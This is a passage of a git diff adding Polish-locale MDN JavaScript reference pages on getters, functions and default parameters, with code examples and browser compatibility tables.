id="Usuwanie_gettera_używając_operatora_delete">Usuwanie gettera używając operatora <code>delete</code></h3> + +<p>Jeśli chcesz usunąć getter, wystarczy użyć <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a> </code>:</p> + +<pre class="brush: js">delete obj.latest; +</pre> + +<h3 id="Definiowanie_gettera_na_istniejącym_obiekcie_uzywając_defineProperty">Definiowanie gettera na istniejącym obiekcie uzywając <code>defineProperty</code></h3> + +<p>Aby dołączyć getter do istniejącego obiektu, można w każdej chwili użyć:<br> + {{jsxref("Object.defineProperty()")}}.</p> + +<pre class="brush: js">var o = {a: 0}; + +Object.defineProperty(o, 'b', { get: function() { return this.a + 1; } }); + +console.log(o.b) // Uruchamia getter, który otrzymuje yields a + 1 (which is 1)</pre> + +<h3 id="Używanie_obliczanych_wartości_dla_właściwości.">Używanie obliczanych wartości dla właściwości.</h3> + +<pre class="brush: js">var expr = 'foo'; + +var obj = { + get [expr]() { return 'bar'; } +}; + +console.log(obj.foo); // "bar"</pre> + +<h3 id="Bystre_samo-nadpisujące_leniwe_gettery">Bystre / samo-nadpisujące / leniwe gettery</h3> + +<p>Gettery dają ci możliwośc zdefiniowania właściwości obiektu, ale nie obliczają wartości właściwości dopóki nie jest ona dostępna. Getter odracza koszt obliczania wartości dopóki ta wartość jest potrzebna, a jeśli nigdy nie jest potrzebna, nie ponosi się tego kosztu.</p> + +<p>Dodatkową techniką optymalizacyjna aby uleniwić lub opóźnić obliczanie wartości dla właściwości jak i przechować ją na później są <strong>bystre (smart) lub <a href="https://en.wikipedia.org/wiki/Memoization">zmemoizowane</a> gettery.</strong> Wartość jest obliczana gdy getter jest wywoływany za pierwszym razem, a potem jest przechowywana więc kolejne dostępy zwracają zbuforowaną wartość bez jej ponownego obliczania. Jest to użyteczne w następujących sytuacjach:</p> + +<ul> + <li>Jeśli obliczanie wartości dla właściwości jest kosztowne (wymaga zużycia dużych zasobów pamięci operacyjnej RAM lub czasu procesora, itd).</li> + <li>Jesli wartość nie jest potrzebna natychmiast. Będzie jednak używana później lub w pewnych przypadkach nie będzie użyta wcale.</li> + <li>Jeżeli jest użyta, będzie wykorzystywana wiele razy i nie ma potrzeby ponownego jej oblczania, oraz jej wartość nigdy nie będzie zmieniona lub ponownie obliczana.</li> +</ul> + +<p>To oznacza, że nie powinno się używać leniwych getterów dla właściwości, której wartość może ulec zmianie, ponieważ taki getter nie oblicza właściwości ponownie.</p> + +<p>W następującym przykładzie obiekt posiada getter jako swoją właściwość. Otrzymując tą właściwość, jest ona usuwana z obiektu i ponownie dodawana, ale niejawnie jako właściwość z przypisanymi danymi. W ostatecznym rozrachunku zwracana jest wartość.</p> + +<pre class="brush: js">get notifier() { + delete this.notifier; + return this.notifier = document.getElementById('bookmarked-notification-anchor'); +},</pre> + +<p>Na potrzeby kodu Firefoxa, zobacz również moduł z kodem XPCOMUtils.jsm, który okresla funkcje <code><a href="/en-US/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyGetter()">defineLazyGetter()</a></code>.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacje</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Added computed property names.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(1)}}</td> + <td>{{ CompatGeckoDesktop("1.8.1") }}</td> + <td>{{ CompatIE(9) }}</td> + <td>9.5</td> + <td>3</td> + </tr> + <tr> + <td>Computed property names</td> + <td>{{CompatChrome(46)}}</td> + <td>{{ CompatGeckoDesktop("34") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoMobile("1.8.1") }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>Computed property names</td> + <td>47</td> + <td>{{CompatNo}}</td> + <td>{{ CompatGeckoMobile("34.0") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a></li> + <li>{{jsxref("Operators/delete", "delete")}}</li> + <li>{{jsxref("Object.defineProperty()")}}</li> + <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li> + <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> in JavaScript Guide</li> +</ul> diff --git a/files/pl/web/javascript/reference/functions/index.html b/files/pl/web/javascript/reference/functions/index.html new file mode 100644 index 0000000000..e7935d3318 --- /dev/null +++ b/files/pl/web/javascript/reference/functions/index.html @@ -0,0 +1,657 @@ +--- +title: Functions +slug: Web/JavaScript/Reference/Functions +tags: + - Constructor + - Function + - Functions + - JavaScript + - NeedsTranslation + - Parameter + - TopicStub + - parameters +translation_of: Web/JavaScript/Reference/Functions +--- +<div>{{jsSidebar("Functions")}}</div> + +<p>Generally speaking, a function is a "subprogram" that can be <em>called</em> by code external (or internal in the case of recursion) to the function. Like the program itself, a function is composed of a sequence of statements called the <em>function body</em>. Values can be <em>passed</em> to a function, and the function will <em>return</em> a value.</p> + +<p>In JavaScript, functions are first-class objects, because they can have properties and methods just like any other object. What distinguishes them from other objects is that functions can be called. In brief, they are <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function">Function</a></code> objects.</p> + +<p>For more examples and explanations, see also the <a href="/en-US/docs/Web/JavaScript/Guide/Functions">JavaScript guide about functions</a>.</p> + +<h2 id="Description">Description</h2> + +<p>Every function in JavaScript is a <code>Function</code> object. See {{jsxref("Function")}} for information on properties and methods of <code>Function</code> objects.</p> + +<p>To return a value other than the default, a function must have a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> statement that specifies the value to return. A function without a return statement will return a default value. In the case of a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a> called with the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> keyword, the default value is the value of its <code>this</code> parameter. For all other functions, the default return value is {{jsxref("undefined")}}.</p> + +<p>The parameters of a function call are the function's <em>arguments</em>. Arguments are passed to functions <em>by value</em>. If the function changes the value of an argument, this change is not reflected globally or in the calling function. However, object references are values, too, and they are special: if the function changes the referred object's properties, that change is visible outside the function, as shown in the following example:</p> + +<pre class="brush: js">/* Declare the function 'myFunc' */ +function myFunc(theObject) { + theObject.brand = "Toyota"; + } + + /* + * Declare variable 'mycar'; + * create and initialize a new Object; + * assign reference to it to 'mycar' + */ + var mycar = { + brand: "Honda", + model: "Accord", + year: 1998 + }; + + /* Logs 'Honda' */ + console.log(mycar.brand); + + /* Pass object reference to the function */ + myFunc(mycar); + + /* + * Logs 'Toyota' as the value of the 'brand' property + * of the object, as changed to by the function. + */ + console.log(mycar.brand); +</pre> + +<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code> keyword</a> does not refer to the currently executing function, so you must refer to <code>Function</code> objects by name, even within the function body.</p> + +<h2 id="Defining_functions">Defining functions</h2> + +<p>There are several ways to define functions:</p> + +<h3 id="The_function_declaration_(function_statement)">The function declaration (<code>function</code> statement)</h3> + +<p>There is a special syntax for declaring functions (see <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> for details):</p> + +<pre class="syntaxbox">function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { + <em>statements</em> +} +</pre> + +<dl> + <dt><code>name</code></dt> + <dd>The function name.</dd> +</dl> + +<dl> + <dt><code>param</code></dt> + <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> +</dl> + +<dl> + <dt><code>statements</code></dt> + <dd>The statements comprising the body of the function.</dd> +</dl> + +<h3 id="The_function_expression_(function_expression)">The function expression (<code>function</code> expression)</h3> + +<p>A function expression is similar to and has the same syntax as a function declaration (see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> for details). A function expression may be a part of a larger expression. One can define "named" function expressions (where the name of the expression might be used in the call stack for example) or "anonymous" function expressions. Function expressions are not <em>hoisted</em> onto the beginning of the scope, therefore they cannot be used before they appear in the code.</p> + +<pre class="syntaxbox">function [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { + <em>statements</em> +} +</pre> + +<dl> + <dt><code>name</code></dt> + <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd> +</dl> + +<dl> + <dt><code>param</code></dt> + <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> + <dt><code>statements</code></dt> + <dd>The statements comprising the body of the function.</dd> +</dl> + +<p>Here is an example of an <strong>anonymous</strong> function expression (the <code>name</code> is not used):</p> + +<pre class="brush: js">var myFunction = function() { + statements +}</pre> + +<p>It is also possible to provide a name inside the definition in order to create a <strong>named</strong> function expression:</p> + +<pre class="brush: js">var myFunction = function namedFunction(){ + statements +} +</pre> + +<p>One of the benefit of creating a named function expression is that in case we encounted an error, the stack trace will contain the name of the function, making it easier to find the origin of the error.</p> + +<p>As we can see, both example do not start with the <code>function</code> keyword. Statements involving functions which do not start with <code>function</code> are function expressions.</p> + +<p>When function are used only once, a common pattern is an <strong>IIFE (<em>Immediately Invokable Function Expressions</em>)</strong>.</p> + +<pre class="brush: js">(function() { + statements +})();</pre> + +<p>IIFE are function expression that are invoked as soon as the function is declared.</p> + +<h3 id="The_generator_function_declaration_(function*_statement)">The generator function declaration (<code>function*</code> statement)</h3> + +<p>There is a special syntax for generator function declarations (see {{jsxref('Statements/function*', 'function* statement')}} for details):</p> + +<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { + <em>statements</em> +} +</pre> + +<dl> + <dt><code>name</code></dt> + <dd>The function name.</dd> +</dl> + +<dl> + <dt><code>param</code></dt> + <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> +</dl> + +<dl> + <dt><code>statements</code></dt> + <dd>The statements comprising the body of the function.</dd> +</dl> + +<h3 id="The_generator_function_expression_(function*_expression)">The generator function expression (<code>function*</code> expression)</h3> + +<p>A generator function expression is similar to and has the same syntax as a generator function declaration (see {{jsxref('Operators/function*', 'function* expression')}} for details):</p> + +<pre class="syntaxbox">function* [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { + <em>statements</em> +} +</pre> + +<dl> + <dt><code>name</code></dt> + <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd> +</dl> + +<dl> + <dt><code>param</code></dt> + <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> + <dt><code>statements</code></dt> + <dd>The statements comprising the body of the function.</dd> +</dl> + +<h3 id="The_arrow_function_expression_(>)">The arrow function expression (=>)</h3> + +<p>An arrow function expression has a shorter syntax and lexically binds its <code>this</code> value (see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a> for details):</p> + +<pre class="syntaxbox">([param[, param]]) => { + statements +} + +param => expression +</pre> + +<dl> + <dt><code>param</code></dt> + <dd>The name of an argument. Zero arguments need to be indicated with <code>()</code>. For only one argument, the parentheses are not required. (like <code>foo => 1</code>)</dd> + <dt><code>statements or expression</code></dt> + <dd>Multiple statements need to be enclosed in brackets. A single expression requires no brackets. The expression is also the implicit return value of the function.</dd> +</dl> + +<h3 id="The_Function_constructor">The <code>Function</code> constructor</h3> + +<div class="note"> +<p><strong>Note:</strong> Using the <code>Function</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p> +</div> + +<p>As all other objects, {{jsxref("Function")}} objects can be created using the <code>new</code> operator:</p> + +<pre class="syntaxbox">new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>) +</pre> + +<dl> + <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> + <dd>Zero or more names to be used by the function as formal parameters. Each must be a proper JavaScript identifier.</dd> +</dl> + +<dl> + <dt><code>functionBody</code></dt> + <dd>A string containing the JavaScript statements comprising the function body.</dd> +</dl> + +<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p> + +<h3 id="The_GeneratorFunction_constructor">The <code>GeneratorFunction</code> constructor</h3> + +<div class="note"> +<p><strong>Note:</strong> <code>GeneratorFunction</code> is not a global object, but could be obtained from generator function instance (see {{jsxref("GeneratorFunction")}} for more detail).</p> +</div> + +<div class="note"> +<p><strong>Note:</strong> Using the <code>GeneratorFunction</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p> +</div> + +<p>As all other objects, {{jsxref("GeneratorFunction")}} objects can be created using the <code>new</code> operator:</p> + +<pre class="syntaxbox">new GeneratorFunction (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>) +</pre> + +<dl> + <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> + <dd>Zero or more names to be used by the function as formal argument names. Each must be a string that conforms to the rules for a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd> +</dl> + +<dl> + <dt><code>functionBody</code></dt> + <dd>A string containing the JavaScript statements comprising the function definition.</dd> +</dl> + +<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p> + +<h2 id="Function_parameters">Function parameters</h2> + +<h3 id="Default_parameters">Default parameters</h3> + +<p>Default function parameters allow formal parameters to be initialized with default values if no value or <code>undefined</code> is passed. For more details, see<a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters"> default parameters</a>.</p> + +<h3 id="Rest_parameters">Rest parameters</h3> + +<p>The rest parameter syntax allows to represent an indefinite number of arguments as an array. For more details, see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a>.</p> + +<h2 id="The_arguments_object">The <code>arguments</code> object</h2> + +<p>You can refer to a function's arguments within the function by using the <code>arguments</code> object. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>.</p> + +<ul> + <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a></code>: An array-like object containing the arguments passed to the currently executing function.</li> + <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/callee">arguments.callee</a></code> {{Deprecated_inline}}: The currently executing function.</li> + <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/caller">arguments.caller</a></code> {{Obsolete_inline}} : The function that invoked the currently executing function.</li> + <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code>: The number of arguments passed to the function.</li> +</ul> + +<h2 id="Defining_method_functions">Defining method functions</h2> + +<h3 id="Getter_and_setter_functions">Getter and setter functions</h3> + +<p>You can define getters (accessor methods) and setters (mutator methods) on any standard built-in object or user-defined object that supports the addition of new properties. The syntax for defining getters and setters uses the object literal syntax.</p> + +<dl> + <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></dt> + <dd> + <p>Binds an object property to a function that will be called when that property is looked up.</p> + </dd> + <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></dt> + <dd>Binds an object property to a function to be called when there is an attempt to set that property.</dd> +</dl> + +<h3 id="Method_definition_syntax">Method definition syntax</h3> + +<p>Starting with ECMAScript 2015, you are able to define own methods in a shorter syntax, similar to the getters and setters. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a> for more information.</p> + +<pre class="brush: js">var obj = { + foo() {}, + bar() {} +};</pre> + +<h2 id="Function_constructor_vs._function_declaration_vs._function_expression"><code>Function</code> constructor vs. function declaration vs. function expression</h2> + +<p>Compare the following:</p> + +<p>A function defined with the <code>Function</code> constructor assigned to the variable <code>multiply:</code></p> + +<pre class="brush: js">var multiply = new Function('x', 'y', 'return x * y');</pre> + +<p>A <em>function declaration</em> of a function named <code>multiply</code>:</p> + +<pre class="brush: js">function multiply(x, y) { + return x * y; +} // there is no semicolon here +</pre> + +<p>A <em>function expression</em> of an anonymous function assigned to the variable <code>multiply:</code></p> + +<pre class="brush: js">var multiply = function(x, y) { + return x * y; +}; +</pre> + +<p>A <em>function expression</em> of a function named <code>func_name</code> assigned to the variable <code>multiply:</code></p> + +<pre class="brush: js">var multiply = function func_name(x, y) { + return x * y; +}; +</pre> + +<h3 id="Differences">Differences</h3> + +<p>All do approximately the same thing, with a few subtle differences:</p> + +<p>There is a distinction between the function name and the variable the function is assigned to. The function name cannot be changed, while the variable the function is assigned to can be reassigned. The function name can be used only within the function's body. Attempting to use it outside the function's body results in an error (or <code>undefined</code> if the function name was previously declared via a <code>var</code> statement). For example:</p> + +<pre class="brush: js">var y = function x() {}; +alert(x); // throws an error +</pre> + +<p>The function name also appears when the function is serialized via <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/toString"><code>Function</code>'s toString method</a>.</p> + +<p>On the other hand, the variable the function is assigned to is limited only by its scope, which is guaranteed to include the scope where the function is declared in.</p> + +<p>As the 4th example shows, the function name can be different from the variable the function is assigned to. They have no relation to each other. A function declaration also creates a variable with the same name as the function name. Thus, unlike those defined by function expressions, functions defined by function declarations can be accessed by their name in the scope they were defined in:</p> + +<p>A function defined by '<code>new Function'</code> does not have a function name. However, in the <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> JavaScript engine, the serialized form of the function shows as if it has the name "anonymous". For example, <code>alert(new Function())</code> outputs:</p> + +<pre class="brush: js">function anonymous() { +} +</pre> + +<p>Since the function actually does not have a name, <code>anonymous</code> is not a variable that can be accessed within the function. For example, the following would result in an error:</p> + +<pre class="brush: js">var foo = new Function("alert(anonymous);"); +foo(); +</pre> + +<p>Unlike functions defined by function expressions or by the <code>Function</code> constructor, a function defined by a function declaration can be used before the function declaration itself. For example:</p> + +<pre class="brush: js">foo(); // alerts FOO! +function foo() { + alert('FOO!'); +} +</pre> + +<p>A function defined by a function expression inherits the current scope. That is, the function forms a closure. On the other hand, a function defined by a <code>Function</code> constructor does not inherit any scope other than the global scope (which all functions inherit).</p> + +<p>Functions defined by function expressions and function declarations are parsed only once, while those defined by the <code>Function</code> constructor are not. That is, the function body string passed to the <code>Function</code> constructor must be parsed each and every time the constructor is called. Although a function expression creates a closure every time, the function body is not reparsed, so function expressions are still faster than "<code>new Function(...)</code>". Therefore the <code>Function</code> constructor should generally be avoided whenever possible.</p> + +<p>It should be noted, however, that function expressions and function declarations nested within the function generated by parsing a <code>Function constructor</code> 's string aren't parsed repeatedly. For example:</p> + +<pre class="brush: js">var foo = (new Function("var bar = \'FOO!\';\nreturn(function() {\n\talert(bar);\n});"))(); +foo(); // The segment "function() {\n\talert(bar);\n}" of the function body string is not re-parsed.</pre> + +<p>A function declaration is very easily (and often unintentionally) turned into a function expression. A function declaration ceases to be one when it either:</p> + +<ul> + <li>becomes part of an expression</li> + <li>is no longer a "source element" of a function or the script itself. A "source element" is a non-nested statement in the script or a function body:</li> +</ul> + +<pre class="brush: js">var x = 0; // source element +if (x == 0) { // source element + x = 10; // not a source element + function boo() {} // not a source element +} +function foo() { // source element + var y = 20; // source element + function bar() {} // source element + while (y == 10) { // source element + function blah() {} // not a source element + y++; // not a source element + } +} +</pre> + +<h3 id="Examples">Examples</h3> + +<pre class="brush: js">// function declaration +function foo() {} + +// function expression +(function bar() {}) + +// function expression +x = function hello() {} + + +if (x) { + // function expression + function world() {} +} + + +// function declaration +function a() { + // function declaration + function b() {} + if (0) { + // function expression + function c() {} + } +} +</pre> + +<h2 id="Block-level_functions">Block-level functions</h2> + +<p>In <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, starting with ES2015, functions inside blocks are now scoped to that block. Prior to ES2015, block-level functions were forbidden in strict mode.</p> + +<pre class="brush: js">'use strict'; + +function f() { + return 1; +} + +{ + function f() { + return 2; + } +} + +f() === 1; // true + +// f() === 2 in non-strict mode +</pre> + +<h3 id="Block-level_functions_in_non-strict_code">Block-level functions in non-strict code</h3> + +<p>In a word: Don't.</p> + +<p>In non-strict code, function declarations inside blocks behave strangely. For example:</p> + +<pre class="brush: js">if (shouldDefineZero) { + function zero() { // DANGER: compatibility risk + console.log("This is zero."); + } +} +</pre> + +<p>ES2015 says that if <code>shouldDefineZero</code> is false, then <code>zero</code> should never be defined, since the block never executes. However, it's a new part of the standard. Historically, this was left unspecified, and some browsers would define <code>zero</code> whether the block executed or not.</p> + +<p>In <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, all browsers that support ES2015 handle this the same way: <code>zero</code> is defined only if <code>shouldDefineZero</code> is true, and only in the scope of the <code>if</code>-block.</p> + +<p>A safer way to define functions conditionally is to assign a function expression to a variable:</p> + +<pre class="brush: js">var zero; +if (0) { + zero = function() { + console.log("This is zero."); + }; +} +</pre> + +<h2 id="Examples_2">Examples</h2> + +<h3 id="Returning_a_formatted_number">Returning a formatted number</h3> + +<p>The following function returns a string containing the formatted representation of a number padded with leading zeros.</p> + +<pre class="brush: js">// This function returns a string padded with leading zeros +function padZeros(num, totalLen) { + var numStr = num.toString(); // Initialize return value as string + var numZeros = totalLen - numStr.length; // Calculate no. of zeros + for (var i = 1; i <= numZeros; i++) { + numStr = "0" + numStr; + } + return numStr; +} +</pre> + +<p>The following statements call the padZeros function.</p> + +<pre class="brush: js">var result; +result = padZeros(42,4); // returns "0042" +result = padZeros(42,2); // returns "42" +result = padZeros(5,4); // returns "0005" +</pre> + +<h3 id="Determining_whether_a_function_exists">Determining whether a function exists</h3> + +<p>You can determine whether a function exists by using the <code>typeof</code> operator. In the following example, a test is performed to determine if the <code>window</code> object has a property called <code>noFunc</code> that is a function. If so, it is used; otherwise some other action is taken.</p> + +<pre class="brush: js"> if ('function' == typeof window.noFunc) { + // use noFunc() + } else { + // do something else + } +</pre> + +<p>Note that in the <code>if</code> test, a reference to <code>noFunc</code> is used—there are no brackets "()" after the function name so the actual function is not called.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition. Implemented in JavaScript 1.0</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>New: Arrow functions, Generator functions, default parameters, rest parameters.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>Generator functions</td> + <td>39</td> + <td>{{CompatGeckoDesktop("26.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>26</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Arrow functions</td> + <td>{{CompatChrome(45.0)}}</td> + <td>{{CompatGeckoDesktop("22.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatOpera(32)}}</td> + <td>10</td> + </tr> + <tr> + <td>Block-level functions</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("46.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>Generator functions</td> + <td>{{CompatUnknown}}</td> + <td>39</td> + <td>{{CompatGeckoMobile("26.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>26</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>Arrow functions</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile("22.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>Block-level functions</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("46.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Statements/function", "function statement")}}</li> + <li>{{jsxref("Operators/function", "function expression")}}</li> + <li>{{jsxref("Statements/function*", "function* statement")}}</li> + <li>{{jsxref("Operators/function*", "function* expression")}}</li> + <li>{{jsxref("Function")}}</li> + <li>{{jsxref("GeneratorFunction")}}</li> + <li>{{jsxref("Functions/Arrow_functions", "Arrow functions")}}</li> + <li>{{jsxref("Functions/Default_parameters", "Default parameters")}}</li> + <li>{{jsxref("Functions/rest_parameters", "Rest parameters")}}</li> + <li>{{jsxref("Functions/arguments", "Arguments object")}}</li> + <li>{{jsxref("Functions/get", "getter")}}</li> + <li>{{jsxref("Functions/set", "setter")}}</li> + <li>{{jsxref("Functions/Method_definitions", "Method definitions")}}</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope">Functions and function scope</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/functions/parametry_domyślne/index.html b/files/pl/web/javascript/reference/functions/parametry_domyślne/index.html new file mode 100644 index 0000000000..b192456adf --- /dev/null +++ b/files/pl/web/javascript/reference/functions/parametry_domyślne/index.html @@ -0,0 +1,225 @@ +--- +title: Parametry domyślne +slug: Web/JavaScript/Reference/Functions/Parametry_domyślne +tags: + - ECMAScript2015 + - Funkcje + - JavaScript +translation_of: Web/JavaScript/Reference/Functions/Default_parameters +--- +<div>{{jsSidebar("Functions")}}</div> + +<p><span class="seoSummary"><strong>Domyślne parametry funkcji</strong> pozwalają na inicjalizację nazwanych parametrów wartościami domyślnymi tam, gdzie nie została podana żadna wartość lub jako wartość podano <code>undefined</code>.</span></p> + +<div>{{EmbedInteractiveExample("pages/js/functions-default.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">function [nazwa]([parametr1[ = domyślnaWartość1 ][, ..., parametrN[ = domyślnaWartośćN ]]]) { + ciało funkcji +} +</pre> + +<h2 id="Opis">Opis</h2> + +<p>W języku JavaScript domyślną wartością parametrów funkcji jest <code>{{jsxref("undefined")}}</code>. Często jednak dobrze jest ustawić inną wartość domyślną – wówczas parametry domyślne okazują się pomocne.</p> + +<p>W przeszłości, ogólną strategią na ustawianie domyślnych wartości było sprawdzanie parametrów w ciele funkcji – w sytuacji, w których były one równe <code>undefined</code>, przypisywano im konkretne wartości.</p> + +<p>W następującym przykładzie, jeśli żadna wartość nie jest podana jako <code>b</code>, kiedy wywoływana jest funkcja <code>pomnóż</code>, wartość <code>b</code> powinna być równa <code>undefined</code> – wówczas funkcja powinna zwrócić <code>NaN</code> jako wynik operacji <code>a * b</code>.</p> + +<pre 